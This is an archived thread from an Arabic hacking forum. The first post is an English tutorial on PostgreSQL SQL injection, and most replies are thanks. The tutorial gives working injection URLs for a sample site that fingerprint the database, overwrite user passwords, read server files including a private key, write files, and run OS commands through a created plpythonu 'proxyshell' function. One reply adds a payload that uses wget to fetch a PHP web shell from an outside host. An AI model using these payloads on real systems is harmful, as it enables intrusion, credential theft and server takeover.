:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)
-   -   POSTGRESQL Injection (http://www.vbspiders.com/vb/t42460.html)

anti-trust 02-01-2011 05:43 PM

POSTGRESQL Injection
 
Identifing PostgreSQL


When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine
that the backend database engine is PostgreSQL by using the



:: - cast operator



Examples:

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.


Example:

كود:

    http://www.is3curity.com/name.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-
-
PostgreSQL 8.6.1 on i486-Linux bt , compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL injection attacks, you should take into consideration the following built-in functions:


- String Length : LENGTH(str)


- Extract a substring from a given string: SUBSTR(str,index,offset)


-String representation with no single quotes :
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)




Starting from 8.2 PostgreSQL has introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds.


In previous version, you can easily create a custom pg_sleep(n) by using libc:

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.


* chr(n): Returns the character whose ASCII value corresponds to the number n
* ascii(n): Returns the ASCII value which corresponds to the character n
Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116




We can encode 'root' as:


chr(114)||chr(111)||chr(111)||chr(116)


Example:

كود:

http://www.is3curity.com/name.php?id=1; UPDATE users SET
 PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:


SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()


Examples:

كود:

  http://www.is3curity.com/name.php?id=1 UNION ALL SELECT user,NULL,NULL--
كود:


    http://www.is3curity.com/name.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database


The built-in function current_database() returns the current database name.

Example:


كود:

    http://www.is3curity.com/name.php?id=1 UNION ALL SELECT current_database(),NULL,NULL-
-

Reading from a file:


ProstgreSQL provides two ways to access a local file:


• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)


COPY:

name.php?id=1; CREATE TABLE file_store(id serial, data text)--


name.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--



Data should be retrieved by performing a UNION Query SQL Injection:


- retrieves number of rows previously added in file_store with COPY statement
- retrieves a row at time with UNION SQL Injection


pg_read_file():


Example:


SELECT pg_read_file('server.key',0,1000);


Writing to a file :


name.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--


executing a shell command redirecting its stdout :


SELECT system('uname -a > /tmp/test')




Create a proxy shell function:


name.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--


Run an OS Command:


name.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--






Copyrigh vbspiders.com

KaLa$nikoV 02-01-2011 09:59 PM

مشكور انتي ترست ع الشرح

انا الي بعرفو والمعرفه الكامله لله
انه الحقن تاع
php
ما نقدر نعدل ع قواعد البيانات تاعتو من خلال
set or update
وانت مستخدم داله سستم لكان ممكن ينفع نعمل زي هيك

vbspiders.com/sql.php?id=1; SELECT system('wget http://vbspiders.com/shell.txt -O shell.php') --

ونرفع شل بالراحه

بس هلا الي فهمتو من كلامك انه ممكن نعدل ع القواعد الي بتكون
POSTGRESQL

وبنفحصها بالامر هاد
name.php?id=1 AND 1::int=1

او من
version()
ويطلع لنا بالناتج
انو السكول من نوع
PostgreSQL

اتمنا تصححنا لو في شيء غلط

وسلمت كثير ع الشرح
بوركت حبيبي

NeTCaT-Ma 02-01-2011 10:06 PM

شكرا لكم إخواني كلكم فائدة

speeedh 02-01-2011 11:25 PM

لون الخط سببلي صداع ....بارك الله فيك على الشرح.

anti-trust 02-02-2011 04:40 PM

[align=right]اها فوفو الان
كود:


كود:

SELECT system('uname -a > /tmp/test')
هي في البي اتش بي زي ما تفضلت حظرتك وانا الي فهمتوا من سؤالك هي سيستم فقط في حال كوماند

كما ديمو 1 سيستم فقط لطلب كوماند معين


في حال

كود:

echo system[""]
لكن الطريقة مختلفه جدا بقواعد Postgresql تم طرح هذا النوع من الحقن فقط مقابل نوع من الويب

ابلكيشن فقط في موديل 38 حسب الاوبريتشن سيستم الي حنستعملوا مش شايف فيها شي معقد اصلا


هي فقط
:: - cast operator

كود:

::
[/align]




head-shot 02-04-2011 09:48 PM

بارك الله فيك على الشرح.

ahmedsarhan 09-17-2011 08:54 PM

رد: POSTGRESQL Injection
 
شكرا يا عم ..... ما هو مش هنخلص

syrian thunder 10-20-2014 01:30 AM

رد: POSTGRESQL Injection
 
nice

elictrojan 09-03-2016 05:32 PM

رد: POSTGRESQL Injection
 
التتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتتت:clap:

sergeanx 12-09-2016 12:22 AM

رد: POSTGRESQL Injection
 
يععععععععععععطيك ألعافية على الطرح ألرائع


الساعة الآن 02:21 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0